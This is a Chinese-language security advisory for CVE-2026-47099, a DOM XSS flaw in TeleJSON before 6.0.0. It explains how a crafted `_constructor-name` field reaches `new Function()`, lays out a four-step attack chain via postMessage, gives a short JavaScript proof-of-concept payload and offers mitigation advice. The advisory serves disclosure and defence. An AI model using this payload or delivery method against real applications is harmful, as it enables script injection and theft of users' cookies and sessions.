IPBUF安全漏洞报告
English
CVE-2026-47099 CVSS 6.1 中危

CVE-2026-47099 TeleJSON DOM型XSS漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-47099
漏洞类型
DOM型跨站脚本攻击 (DOM XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
TeleJSON

相关标签

XSSDOM XSSTeleJSONCVE-2026-47099JavaScriptClient-Side

漏洞概述

TeleJSON 6.0.0之前版本存在DOM型跨站脚本漏洞。攻击者可利用精心构造的JSON载荷,通过恶意`_constructor-name`属性值,在解析时触发`new Function()`执行任意JS代码,导致跨站脚本攻击。

技术细节

该漏洞位于TeleJSON库的`parse()`函数中。其核心问题在于自定义的reviver逻辑在重建对象原型时,直接提取了JSON对象中的`_constructor-name`属性值,并将其作为参数传递给`new Function()`调用,且完全缺乏安全过滤机制。攻击者可以通过`postMessage`等跨域通信接口,向目标应用发送包含恶意构造函数名称的特制JSON数据。一旦目标应用调用`parse()`处理该数据,恶意JavaScript代码将被实例化并执行。这种DOM型XSS攻击允许攻击者在受害者浏览器中执行任意脚本,进而窃取Cookie、会话令牌等敏感信息或进行进一步的内网渗透。漏洞利用的关键在于利用了JavaScript动态代码执行的特性,绕过了传统的输入检查。

攻击链分析

STEP 1
侦察
识别目标应用程序是否使用了TeleJSON库且版本低于6.0.0,并确定存在通过postMessage或其他方式接收JSON数据的输入点。
STEP 2
载荷构造
攻击者创建一个特制的JSON对象,其中包含恶意的`_constructor-name`属性,该属性的值包含要执行的JavaScript代码。
STEP 3
载荷投递
攻击者通过跨帧通信(如postMessage)或应用接受JSON的其他接口,将恶意JSON载荷发送给目标应用程序。
STEP 4
代码执行
目标应用调用TeleJSON的`parse()`函数解析数据,reviver将恶意属性传递给`new Function()`,导致在受害者浏览器上下文中执行任意JavaScript代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Proof of Concept for CVE-2026-47099 // Description: Exploiting TeleJSON DOM-based XSS via _constructor-name // 1. Attacker creates a malicious JSON payload // The key is the "_constructor-name" property which gets passed to new Function() const maliciousPayload = { "message": "Hello World", "_constructor-name": "alert('CVE-2026-47099 Exploited!'); document.body.style.backgroundColor='red';" }; // 2. Simulating the vulnerable behavior in TeleJSON < 6.0.0 // The vulnerable parse function uses a reviver that passes the value to new Function() function vulnerableParse(jsonString) { return JSON.parse(jsonString, (key, value) => { if (key === '_constructor-name') { // Vulnerability: No sanitization before passing to new Function() return new Function(value); } return value; }); } // 3. Execution // If the application receives this payload (e.g., via postMessage) and parses it: console.log("Sending malicious payload..."); // vulnerableParse(JSON.stringify(maliciousPayload)); // This would trigger the XSS // 4. Real-world vector via postMessage // window.postMessage(JSON.stringify(maliciousPayload), '*');

影响范围

TeleJSON < 6.0.0

防御指南

临时缓解措施
建议立即将TeleJSON库更新到最新版本。如果无法立即升级,应在解析JSON数据之前实施输入清洗逻辑,专门检测并移除`_constructor-name`字段,或避免直接解析来自不可信来源的JSON数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表